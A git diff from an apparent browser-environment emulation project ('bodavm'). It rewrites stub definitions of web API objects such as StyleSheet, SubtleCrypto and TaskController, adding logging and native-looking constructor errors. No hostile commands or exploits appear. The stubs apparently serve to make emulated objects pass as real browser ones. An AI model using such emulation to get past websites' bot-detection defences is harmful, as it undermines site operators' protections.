-bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "values", arguments)}},'prototype'); +// StylePropertyMapReadOnly对象 + +bodavm.memory.globalobj['StylePropertyMapReadOnly'] = function StylePropertyMapReadOnly() { + console.log_copy('StylePropertyMapReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StylePropertyMapReadOnly)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMapReadOnly'], "StylePropertyMapReadOnly"); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StyleSheet.js b/env_xbb_lastest_jsdom/env/StyleSheet.js index 8c3ced12..54c985e8 100644 --- a/env_xbb_lastest_jsdom/env/StyleSheet.js +++ b/env_xbb_lastest_jsdom/env/StyleSheet.js @@ -1,10 +1,77 @@ -// StyleSheet对象 -bodavm.memory.globalobj['StyleSheet'] = function StyleSheet(){if (!(this instanceof StyleSheet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheet'], "StyleSheet"); -bodavm.toolsFunc.defineProperty('StyleSheet', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "ownerNode", {configurable:true, enumerable:true, get:function ownerNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "ownerNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "parentStyleSheet", {configurable:true, enumerable:true, get:function parentStyleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "parentStyleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "title_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_set", arguments)}},'prototype'); +// StyleSheet对象 + +bodavm.memory.globalobj['StyleSheet'] = function StyleSheet() { + console.log_copy('StyleSheet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StyleSheet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheet'], "StyleSheet"); +bodavm.toolsFunc.defineProperty('StyleSheet', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "ownerNode", { + configurable: true, + enumerable: true, + get: function ownerNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "ownerNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "parentStyleSheet", { + configurable: true, + enumerable: true, + get: function parentStyleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "parentStyleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "title_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheet', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StyleSheetList.js b/env_xbb_lastest_jsdom/env/StyleSheetList.js index 9e7f1995..dc5a9758 100644 --- a/env_xbb_lastest_jsdom/env/StyleSheetList.js +++ b/env_xbb_lastest_jsdom/env/StyleSheetList.js @@ -1,5 +1,33 @@ -// StyleSheetList对象 -bodavm.memory.globalobj['StyleSheetList'] = function StyleSheetList(){if (!(this instanceof StyleSheetList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheetList'], "StyleSheetList"); -bodavm.toolsFunc.defineProperty('StyleSheetList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheetList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "item", arguments)}},'prototype'); +// StyleSheetList对象 + +bodavm.memory.globalobj['StyleSheetList'] = function StyleSheetList() { + console.log_copy('StyleSheetList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StyleSheetList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheetList'], "StyleSheetList"); +bodavm.toolsFunc.defineProperty('StyleSheetList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StyleSheetList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SubmitEvent.js b/env_xbb_lastest_jsdom/env/SubmitEvent.js index 958d0ff1..b52294ed 100644 --- a/env_xbb_lastest_jsdom/env/SubmitEvent.js +++ b/env_xbb_lastest_jsdom/env/SubmitEvent.js @@ -1,6 +1,27 @@ -// SubmitEvent对象 -bodavm.memory.globalobj['SubmitEvent'] = function SubmitEvent(){if (!(this instanceof SubmitEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SubmitEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubmitEvent'], "SubmitEvent"); -bodavm.memory.globalobj['SubmitEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SubmitEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SubmitEvent', "submitter", {configurable:true, enumerable:true, get:function submitter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubmitEvent'].prototype, "SubmitEvent", "submitter_get", arguments)}, set:undefined},'prototype'); +// SubmitEvent对象 + +bodavm.memory.globalobj['SubmitEvent'] = function SubmitEvent() { + console.log_copy('SubmitEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SubmitEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SubmitEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubmitEvent'], "SubmitEvent"); +bodavm.memory.globalobj['SubmitEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SubmitEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SubmitEvent', "submitter", { + configurable: true, + enumerable: true, + get: function submitter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubmitEvent'].prototype, "SubmitEvent", "submitter_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SubtleCrypto.js b/env_xbb_lastest_jsdom/env/SubtleCrypto.js index 2beea425..7ea6193b 100644 --- a/env_xbb_lastest_jsdom/env/SubtleCrypto.js +++ b/env_xbb_lastest_jsdom/env/SubtleCrypto.js @@ -1,15 +1,113 @@ -// SubtleCrypto对象 -bodavm.memory.globalobj['SubtleCrypto'] = function SubtleCrypto(){if (!(this instanceof SubtleCrypto)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubtleCrypto'], "SubtleCrypto"); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "decrypt", {configurable:true, enumerable:true, writable:true, value:function decrypt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "decrypt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveBits", {configurable:true, enumerable:true, writable:true, value:function deriveBits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveBits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveKey", {configurable:true, enumerable:true, writable:true, value:function deriveKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "digest", {configurable:true, enumerable:true, writable:true, value:function digest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "digest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "encrypt", {configurable:true, enumerable:true, writable:true, value:function encrypt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "encrypt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "exportKey", {configurable:true, enumerable:true, writable:true, value:function exportKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "exportKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "generateKey", {configurable:true, enumerable:true, writable:true, value:function generateKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "generateKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "importKey", {configurable:true, enumerable:true, writable:true, value:function importKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "importKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "sign", {configurable:true, enumerable:true, writable:true, value:function sign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "sign", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "unwrapKey", {configurable:true, enumerable:true, writable:true, value:function unwrapKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "unwrapKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "verify", {configurable:true, enumerable:true, writable:true, value:function verify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "verify", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "wrapKey", {configurable:true, enumerable:true, writable:true, value:function wrapKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "wrapKey", arguments)}},'prototype'); +// SubtleCrypto对象 + +bodavm.memory.globalobj['SubtleCrypto'] = function SubtleCrypto() { + console.log_copy('SubtleCrypto 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SubtleCrypto)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubtleCrypto'], "SubtleCrypto"); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "decrypt", { + configurable: true, + enumerable: true, + writable: true, + value: function decrypt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "decrypt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveBits", { + configurable: true, + enumerable: true, + writable: true, + value: function deriveBits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveBits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveKey", { + configurable: true, + enumerable: true, + writable: true, + value: function deriveKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "digest", { + configurable: true, + enumerable: true, + writable: true, + value: function digest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "digest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "encrypt", { + configurable: true, + enumerable: true, + writable: true, + value: function encrypt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "encrypt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "exportKey", { + configurable: true, + enumerable: true, + writable: true, + value: function exportKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "exportKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "generateKey", { + configurable: true, + enumerable: true, + writable: true, + value: function generateKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "generateKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "importKey", { + configurable: true, + enumerable: true, + writable: true, + value: function importKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "importKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "sign", { + configurable: true, + enumerable: true, + writable: true, + value: function sign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "sign", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "unwrapKey", { + configurable: true, + enumerable: true, + writable: true, + value: function unwrapKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "unwrapKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "verify", { + configurable: true, + enumerable: true, + writable: true, + value: function verify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "verify", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SubtleCrypto', "wrapKey", { + configurable: true, + enumerable: true, + writable: true, + value: function wrapKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "wrapKey", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SyncManager.js b/env_xbb_lastest_jsdom/env/SyncManager.js index 0e4b1c6d..59ca12ce 100644 --- a/env_xbb_lastest_jsdom/env/SyncManager.js +++ b/env_xbb_lastest_jsdom/env/SyncManager.js @@ -1,5 +1,33 @@ -// SyncManager对象 -bodavm.memory.globalobj['SyncManager'] = function SyncManager(){if (!(this instanceof SyncManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SyncManager'], "SyncManager"); -bodavm.toolsFunc.defineProperty('SyncManager', "getTags", {configurable:true, enumerable:true, writable:true, value:function getTags (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "getTags", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SyncManager', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "register", arguments)}},'prototype'); +// SyncManager对象 + +bodavm.memory.globalobj['SyncManager'] = function SyncManager() { + console.log_copy('SyncManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SyncManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SyncManager'], "SyncManager"); +bodavm.toolsFunc.defineProperty('SyncManager', "getTags", { + configurable: true, + enumerable: true, + writable: true, + value: function getTags() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "getTags", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SyncManager', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SyncManager'].prototype, "SyncManager", "register", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TaskAttributionTiming.js b/env_xbb_lastest_jsdom/env/TaskAttributionTiming.js index 5c5861f6..40c3e42d 100644 --- a/env_xbb_lastest_jsdom/env/TaskAttributionTiming.js +++ b/env_xbb_lastest_jsdom/env/TaskAttributionTiming.js @@ -1,10 +1,59 @@ -// TaskAttributionTiming对象 -bodavm.memory.globalobj['TaskAttributionTiming'] = function TaskAttributionTiming(){if (!(this instanceof TaskAttributionTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskAttributionTiming'], "TaskAttributionTiming"); -bodavm.memory.globalobj['TaskAttributionTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['TaskAttributionTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerType", {configurable:true, enumerable:true, get:function containerType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerSrc", {configurable:true, enumerable:true, get:function containerSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerId", {configurable:true, enumerable:true, get:function containerId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerName", {configurable:true, enumerable:true, get:function containerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "toJSON", arguments)}},'prototype'); +// TaskAttributionTiming对象 + +bodavm.memory.globalobj['TaskAttributionTiming'] = function TaskAttributionTiming() { + console.log_copy('TaskAttributionTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TaskAttributionTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskAttributionTiming'], "TaskAttributionTiming"); +bodavm.memory.globalobj['TaskAttributionTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['TaskAttributionTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerType", { + configurable: true, + enumerable: true, + get: function containerType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerSrc", { + configurable: true, + enumerable: true, + get: function containerSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerId", { + configurable: true, + enumerable: true, + get: function containerId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "containerName", { + configurable: true, + enumerable: true, + get: function containerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "containerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TaskAttributionTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskAttributionTiming'].prototype, "TaskAttributionTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TaskController.js b/env_xbb_lastest_jsdom/env/TaskController.js index 02425623..56ac53f6 100644 --- a/env_xbb_lastest_jsdom/env/TaskController.js +++ b/env_xbb_lastest_jsdom/env/TaskController.js @@ -1,6 +1,24 @@ -// TaskController对象 -bodavm.memory.globalobj['TaskController'] = function TaskController(){this._boarg= new bodaobj.window.TaskController();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskController'], "TaskController"); -bodavm.memory.globalobj['TaskController'].prototype.__proto__=bodavm.memory.globalobj['AbortController'].prototype; -bodavm.memory.globalobj['TaskController'].__proto__=bodavm.memory.globalobj['AbortController']; -bodavm.toolsFunc.defineProperty('TaskController', "setPriority", {configurable:true, enumerable:true, writable:true, value:function setPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskController'].prototype, "TaskController", "setPriority", arguments)}},'prototype'); +// TaskController对象 + +bodavm.memory.globalobj['TaskController'] = function TaskController() { + console.log_copy('TaskController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.TaskController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskController'], "TaskController"); +bodavm.memory.globalobj['TaskController'].prototype.__proto__ = bodavm.memory.globalobj['AbortController'].prototype; +bodavm.memory.globalobj['TaskController'].__proto__ = bodavm.memory.globalobj['AbortController']; +bodavm.toolsFunc.defineProperty('TaskController', "setPriority", { + configurable: true, + enumerable: true, + writable: true, + value: function setPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskController'].prototype, "TaskController", "setPriority", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TaskPriorityChangeEvent.js 